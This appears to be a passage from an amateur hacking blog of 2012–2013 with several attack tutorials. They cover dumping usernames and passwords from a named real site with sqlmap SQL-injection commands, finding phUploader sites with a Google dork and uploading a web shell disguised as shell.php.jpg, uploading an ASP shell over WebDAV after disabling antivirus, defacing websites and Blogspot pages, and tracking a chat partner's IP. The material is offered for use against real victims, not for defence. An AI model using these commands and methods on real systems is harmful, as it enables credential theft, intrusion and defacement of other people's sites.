-----------------------------------------------------------------------------------------------------------

The tables will show the columns
such as users contain :

[ email ]
[ id ]
[ name ]
[ username ]
[ password ]

what you must to do is
adding   -C username --dump   behind

example :

sqlmap.py -u http://ditto3d.com/gallery.php?id=7 -D ditto3d -T users -C username --dump

Yes you get it
Username is : blablabla

then do the same thing , but this to get 'password'
Example :
sqlmap.py -u http://ditto3d.com/gallery.php?id=7 -D ditto3d T- users -C password --dump

The password is : blablabla

-----------------------------------------------------------------------------------------------------------
Warning! : If you get the database , tables and columns
''  --  '' this string must be a one
such as like this

from database
--> after injected
--> the database are showed

the word database and the double string ( -- )
will be change
it will be like -D
the word database will short and be D
the word D must be a big word

-T   /  -C

( --dump ) do not change this string

After the big word such as -D
You must give one space

--->   -D database

-----------------------------------------------------------------------------------------------------------

THE END !

Wednesday, 9 January 2013

PhUploader Defacement Tutorial

Google Dork : intitle:Powered By phUploader

Go to Google.com and enter this DOrk, see serach results
Exploit URL :
http://{site.comt}/ path/upload.php
 or
http://site.com/upload.php


select any website and upload your file there
website allow to upload .jpg .png .gif anf .png files only
anyway you can upload your deface in .jpg and mirrOr website like
zone-h accept it as defcaement, if want to upload a shell then upload as
shell.php.jpg
after uploading your file you'll got a message
Your file(s) have been uploaded!


see the Link Below this message For view Your uploaded File


Live Demo ~ http://humortshirtzone.com/phUploader.php
Uploaded File ~ http://www.humortshirtzone.com/uploads/1321616908.jpg

IP gather through Facebook

>> Hello! I'm Eagle Eye
>>Now I going to teach you about to get your friend ip adress,
>>First close all tab.

>>Then clear all your history

>>Open www.facebook.com , chat with your people that you wnat to get his/her IP

>>While chat is ON, open ‘Command Prompt‘ dlm PC (Start >Run>cmd).

>>When cmd has open, type "netstat -an" dan press ENTER.

>>It will Established connections IP and show what IP target you want

>>DONE. And you can trace your friend with IP tracer

Try it with your best!

Saturday, 29 December 2012

Webdav Tutorial

This hacking method is only for newbie

First download rootkit Rootkit Site

Before that!
Turn off your antivirus

Now open your rootkit
Then after your open that tool
Click Webdav

Then will out of one things : Webdav Shell Maker
Click setting then Upload your shell.asp

After that name the shell above of code shell
Rename the Hmei7.asp;txt to your own name
Like Assassin.asp

Click add site to add your victim site
And click " Serang "

The shell will upload to the site

Remember!

Only site that are using asp format are available for this webdav
php site are not vuln

Thank You :)

Defacing Tutorial


Hello!
Im Eagle Eye
Today I'm going teach you to deface site and blogspot

Defacing Site

After you has upload your shell to any website
Go to the first page of your shell
And look for file name index

Type of index

Index.php
Index.asp
Index.aspx
Index.cfm

Defacing Blogspot (Please Don't Deface My Blogspot) :P

First sign in your blogspot account
Then you will see orange box with pencil picture
Don't click it
But see the right of the box
After that look for More Option

Click More Option
And choose template

After that a new page will open for editing template
Now you scroll down
At the end
You will see Revert To Classic Templates
Click on it :D
And click Revert To Classic Template again

You will see the editing box
Then replace your deface code to the editing box
And click save

Thank You!